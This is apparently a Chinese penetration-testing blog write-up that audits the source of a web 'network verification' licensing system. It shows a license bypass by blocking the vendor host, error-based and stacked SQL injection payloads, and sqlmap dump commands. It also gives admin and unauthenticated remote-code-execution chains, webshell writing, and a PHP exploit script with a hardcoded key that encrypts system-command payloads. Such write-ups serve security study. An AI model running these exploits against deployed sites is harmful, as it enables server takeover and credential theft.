滲透實戰:代碼審計到getshell
0x00前言
接到任務,需要對一些違法網站做滲透測試……
0x01信息收集
根據提供的目標,打開網站如下

在嘗試弱口令無果后,根據其特征去fofa以及谷歌搜了半天,期間搜出好多個UI差不多的網站,后來發現其實這些站點都是 UI 做了變動,后端代碼都是一樣的。最終定位到該系統為某網絡驗證系統

下載最新版的代碼到本地,開始審計。
0x02源碼解密
安裝完成后

打開首頁結果彈了沒有授權

想來應該是需要交錢授權域名才能正常使用。我們回到代碼看看,入手是個index.php

跟進core/common.php看看

被加密了,加密類型是一代魔方。不過猜也猜的出來應該是在這個php文件和遠程的一個地址進行了一個通信,判斷有沒有授權。而在其網站下載源碼的時候就有個授權查詢功能(見前面圖),大膽猜測一波就是向這個域名的某個 api 發起的請求,所以直接去hosts屏蔽掉這個地址就可以了


接著又發現很多關鍵文件都存在混淆內容,看起來是 phpjm 類型

不過不用慌,我們可以通過動態調試解出來。這里舉例Db.php,該 PHP 文件的作用通過名字也可以判斷出來作用是封裝數據庫的方法,所以我們去登錄的地方(會和數據庫交互)打上斷點

然后去登錄框輸入賬號密碼驗證碼,點擊登錄

然后執行的流程就會停留在斷點處

接著F11跟進,就會跳轉進Db.php文件中,成功解密得到源代碼

再格式化美化一下代碼,就能舒服的開始審計了

其他做了混淆的 PHP 文件也是采用相同的辦法獲取到源代碼,不再贅述
0x03多處前臺SQL注入
首先看登錄點

這里使用了結構化傳參,即使我們輸入單引號即admin',最終也會被轉義成如下語句到數據庫中進行查詢username='admin\'',無法閉合單引號。我們繼續找其他點。
接下來發現Common.php的類初始化方法里面傳入的id參數沒有單引號包裹

也就是我們傳入id=1'的時候經過結構化傳參變成了id=1\',依然多出一個單引號導致 SQL 注入,接下來就是找哪個地方調用了這個類的init辦法。
最終我選中了SingleCard.php文件,這里的SingleCard類繼承了Common,并且在__construct()使用了父類的init方法

之所以我選擇該處還有一個重要原因就是,這里沒有判斷登錄,所以是前臺的sql注入,這里截圖其他判斷了登錄的地方做個對比

測試如下

證明存在 SQL 注入之后,就是寫 exp 進行利用。這里可以通過盲注的形式去讀數據,但耗時比較長,所以我選擇通過報錯注入的方式
updatexml()是一個使用不同的xml標記匹配和替換xml塊的函數。
updatexml使用時,當xpath_string格式出現錯誤,mysql則會爆出xpath語法錯誤(xpath syntax error)
#讀取數據庫中的表 data=123456&id=1and updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema=database())),1)

不過因為報錯注入最長返回長度只有32位,我們可以通過mid()函數控制回顯位置
#讀取回顯內容的第33位開始的60位,因為限制最大返回32,所以回顯的是32個長度內容 1and updatexml(1,mid(concat(1,(select group_concat(table_name)from information_schema.tables where table_schema=database())),33,60),1)

不過這樣依然麻煩,我們通過 sqlmap 指定報錯注入來幫我們完成數據讀取
python3 sqlmap.py -r 1.txt-p "id"--dbms=mysql --technique=E -D bingxin -T BX_menber -C 'username,password,salt'- -dump

獲取到賬號密碼以及加鹽的值之后就可以去 cmd5 解密得到管理員權限。當然因為本地搭建起來的環境,我知道密碼,直接admin/admin登錄了。
注意:這里只要繼承了前面的Common類方法的 php 文件都會存在 SQL 注入,這里就不一一列舉了。
0x04后臺兩處代碼執行getshell
當然審計肯定不甘心止步于 SQL 注入,繼續嘗試是否存在 getshell 的利用鏈。全局搜索eval函數,發現兩處

上圖中可以看到,這里從數據庫的表software中獲取了兩個字段的值,即encrypt字段和defined_encrypt字段,如果這兩個字段我們可控,那么便可以構造代碼執行,進而通過命令執行 getshell。邏輯如下
1、首先將 software 表中的字段 encrypt 的值定義給常量 API_ENCRYPT 2、if條件判斷如果 API_ENCRYPT 的值為 defined_encrypt,進入eval函數執行,并且其參數為字段 defined_encrypt 的值 3、所以我們只要能設置 software 表中的字段 encrypt 的值為 defined_encrypt,字段 defined_encrypt 的值為 phpinfo();就能代碼執行
我們去數據庫中查看一下software表

表中內容為空,我們在后臺創建一下

在數據庫中看到默認寫入encrypt字段的值為authcode,而defined_encrypt字段的值則為空

在代碼中也證實了這一點

接下來找到了一個可以更改這兩個字段的方法

構造 POST 請求

再看一下數據庫,更新成功!

現在只要是繼承了Common類的初始化方法的所有php文件路由方法都能觸發eval函數導致代碼執行,這里舉例幾處


寫入 webshell

訪問觸發eval函數執行

在web根目錄下生成webshell

另一個 eval 函數也是相同的利用思路,放一下利用鏈圖,這里不再贅述


0x05前臺代碼執行getshell
可以看到前面的代碼執行都是基于能獲取到管理員密碼明文的前提條件下,如果cmd5解密不出來就沒法利用了。所以我們再次開始審計,尋找前臺代碼執行的利用條件
這里全局搜索,找到call_user_func_array()函數
call_user_func_array ( callable $callback , array $param_arr ) : mixed
作用:調用回調函數,并把一個數組參數作為回調函數的參數

可以看到其兩個參數都是$data變量中的name和param,我們跟進parseData()查看傳參來源

發現parseData()方法的作用是對$this->data進行 json 格式的字符串解碼,繼續往上跟$this->data

發現$this->data由bx_decrypt解密而得,繼續跟進bx_decrypt方法

這里switch有多種加密方式選擇,我們前面已經知道數據庫中軟件的默認加密方式為authcode,所以我們這里選擇跟進authcode


通過代碼可以看到authcode方法即包含加密功能也包含解密功能,如果authcode方法第二個參數為空,則進行加密;如果第二個參數為DECODE,則進行解密。
所以我們可以通過這個函數去加密我們的 payload。先返回前面存在call_user_func_array的方法去查看 payload 如何構造,貼關鍵代碼
publicfunction remoteFun()
{
$data = $this->parseData();
empty($data['name'])?exit(api_json('1402')): FALSE;
do_action('api_software_remote_fun',[$data]);
eval($this->software['0']['remote']);
if(!function_exists($data['name'])){
exit(api_json('1401'));
}
$fun_param_num = count(get_fucntion_parameter_name($data['name']));
if($fun_param_num !='0'){
empty($data['param'])?exit(api_json('1402')): FALSE;
$res_param_num = count($data['param']);
if($fun_param_num != $res_param_num){
exit(api_json('1403'));
}
}else{
$data['param']= array();
}
$test = $data['param'];
$testst = $data['name'];
exit(api_json('1408', array('result'=>@call_user_func_array($data['name'], $data['param']))));
}
首先我們前面已經知道 payload 的明文形式應該為 json 格式,分析一下remoteFun方法,其中get_fucntion_parameter_name方法代碼如下

會獲取參數個數,即如果我們傳入{"name":"system","param":"ls"},這里 return 為2。
再繼續往下看,這段代碼通過count獲取 param 個數,上述 payload 中,param 只有一個ls,所以將會返回為1
$res_param_num = count($data['param']);
繼續往下的判斷條件會判斷是否相等,如果不相等流程將會停止退出
if($fun_param_num != $res_param_num){
exit(api_json('1403'));
}
所以我們最終構造的payload如下,往param中填充多余的一個值,使其數量相等滿足 if 條件判斷
{"name":"system","param":["ls","dotast"]}
payload已經構造好了,接下來就是將 payload 進行加密。我們看看哪里用到authcode方法進行加密。全局搜索后,發現登錄的時候調用過這個方法進行加密

所以我們可以構造 exp 如下,exp 中加密需要用到的 key 可以通過上面的前臺 SQL 注入讀取到
php
function authcode($string, $operation ='DECODE', $key ='', $expiry =0)
{
$ckey_length =4;
$key = md5($key);
$keya = md5(substr($key,0,16));
$keyb = md5(substr($key,16,16));
$keyc = $ckey_length ?($operation =='DECODE'? substr($string,0, $ckey_length): substr(md5(microtime()),-$ckey_length)):'';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation =='DECODE'? base64_decode(substr($string, $ckey_length)): sprintf('0d', $expiry ? $expiry + time():0). substr(md5($string . $keyb),0,16). $string;
$string_length = strlen($string);
$result ='';
$box = range(0,255);
$rndkey = array();
for($i =0; $i <=255; $i++){
$rndkey[$i]= ord($cryptkey[$i % $key_length]);
}
for($j = $i =0; $i <256; $i++){
$j =($j + $box[$i]+ $rndkey[$i])%256;
$tmp = $box[$i];
$box[$i]= $box[$j];
$box[$j]= $tmp;
}
for($a = $j = $i =0; $i < $string_length; $i++){
$a =($a +1)%256;
$j =($j + $box[$a])%256;
$tmp = $box[$a];
$box[$a]= $box[$j];
$box[$j]= $tmp;
$result .= chr(ord($string[$i])^($box[($box[$a]+ $box[$j])%256]));
}
if($operation =='DECODE'){
if((substr($result,0,10)==0|| substr($result,0,10)- time()>0)&& substr($result,10,16)== substr(md5(substr($result,26). $keyb),0,16)){
return substr($result,26);
}else{
return'';
}
}else{
return $keyc . str_replace('=','', base64_encode($result));
}
}
setcookie('test', authcode('{"name":"system","param":["ls","123456"]}','','zMY0khLKVILeoJMirXxTo4thJuy4T5UnMiIbMTuw'), time()+3600,'/');
?>
訪問后,加密的payload會回顯在Cookie中

然后通過remoteFun方法觸發call_user_func_array函數代碼執行

當然,加密部分也不用那么麻煩,因為setcookie回顯時只是加了一層URL編碼處理,所以加密 payload 腳本也可以寫成
php
function authcode($string, $operation ='DECODE', $key ='', $expiry =0)
{
$ckey_length =4;
$key = md5($key);
$keya = md5(substr($key,0,16));
$keyb = md5(substr($key,16,16));
$keyc = $ckey_length ?($operation =='DECODE'? substr($string,0, $ckey_length): substr(md5(microtime()),-$ckey_length)):'';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation =='DECODE'? base64_decode(substr($string, $ckey_length)): sprintf('0d', $expiry ? $expiry + time():0). substr(md5($string . $keyb),0,16). $string;
$string_length = strlen($string);
$result ='';
$box = range(0,255);
$rndkey = array();
for($i =0; $i <=255; $i++){
$rndkey[$i]= ord($cryptkey[$i % $key_length]);
}
for($j = $i =0; $i <256; $i++){
$j =($j + $box[$i]+ $rndkey[$i])%256;
$tmp = $box[$i];
$box[$i]= $box[$j];
$box[$j]= $tmp;
}
for($a = $j = $i =0; $i < $string_length; $i++){
$a =($a +1)%256;
$j =($j + $box[$a])%256;
$tmp = $box[$a];
$box[$a]= $box[$j];
$box[$j]= $tmp;
$result .= chr(ord($string[$i])^($box[($box[$a]+ $box[$j])%256]));
}
if($operation =='DECODE'){
if((substr($result,0,10)==0|| substr($result,0,10)- time()>0)&& substr($result,10,16)== substr(md5(substr($result,26). $keyb),0,16)){
return substr($result,26);
}else{
return'';
}
}else{
return $keyc . str_replace('=','', base64_encode($result));
}
}
$a = authcode('{"name":"system","param":["whoami","123456"]}','','zMY0khLKVILeoJMirXxTo4thJuy4T5UnMiIbMTuw');
echo urlencode($a);
?>

0x6后臺兩處代碼執行擴大到前臺代碼執行
前面我們已經知道后臺兩處代碼執行依賴于管理員權限進入后臺后,借助路由發起 POST 請求修改數據庫的encrypt和defined_encrypt字段,那如果有辦法可以不通過管理員權限就能修改數據庫字段,不就可以升級成前臺的代碼執行啦?念頭一閃,我們繼續回到前臺 SQL 點。

測試存在 堆疊注入 !堆疊注入可以干什么?可以對數據庫執行增刪改操作呀~
用 sqlmap 指定堆疊注入,然后獲取 sql-shell 執行 SQL語句
python3 sqlmap.py -r 1.txt--dbms=mysql -p "id"--technique=S --sql-shell
然后修改數據庫字段

這里因為堆疊注入是不回顯的,所以返回 NULL,其實已經執行了修改操作,我們可以去后臺數據庫驗證一下

選擇繼承了父類Common的init()方法的路由進行測試

可以看到執行了phpinfo();,最終成功配合 SQL 將后臺代碼執行擴大到前臺代碼執行,最后所有繼承了Common類的初始化方法的php文件其路由方法訪問都能觸發eval函數導致代碼執行 getshell
0x07總結
代碼審計其實是一項挺耗費心神的工作,但是只要有足夠的耐心和堅持,在 getshell 的那一刻還是有很強烈的滿足感的,繼續加油吧~